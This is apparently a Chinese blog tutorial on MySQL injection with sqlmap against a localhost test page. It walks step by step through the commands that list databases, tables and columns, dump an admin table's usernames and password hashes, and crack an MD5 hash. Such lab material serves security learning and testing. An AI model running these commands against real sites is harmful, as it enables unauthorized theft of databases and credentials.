sqlmap之(四)----Mysql注入实战

(1) 查找数据库

 

 

[html]  view plain  copy
 
  1. sqlmap.py -u "http://localhost/sqls/index.php?id=123" --dbs  

 

 

 

数据库有8个。

 

(2) 通过第一步的数据库查找表(假如数据库名为test)

 

 

[html]  view plain  copy
 
  1. sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test --tables  

 

 


 

猜解出来里面存在admin,sqltest两个表。

 

(3) 通过2中的表得出列名(假如表为admin)

 

 

[html]  view plain  copy
 
  1. sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test -T admin --columns  


 

 

 

(4) 获取字段的值(假如扫描出id,user,pwd字段)

 

 

[html]  view plain  copy
 
  1. sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test -T admin -C "id,user,pwd" --dump  

 

 

 

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]

你想存储的哈希值来与其他工具最终进一步处理临时文件?   输入"Y"

 

do you want to crack them via a dictionary-based attack? [Y/n/q]

你想通过基于字典的攻击来破解他们吗?  输入"N"

 

马上就得到了用户名

 

与MD5的密码: 3f230640b78d7e71ac5514e57935eb69 去破解下得到"qazxsw"

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值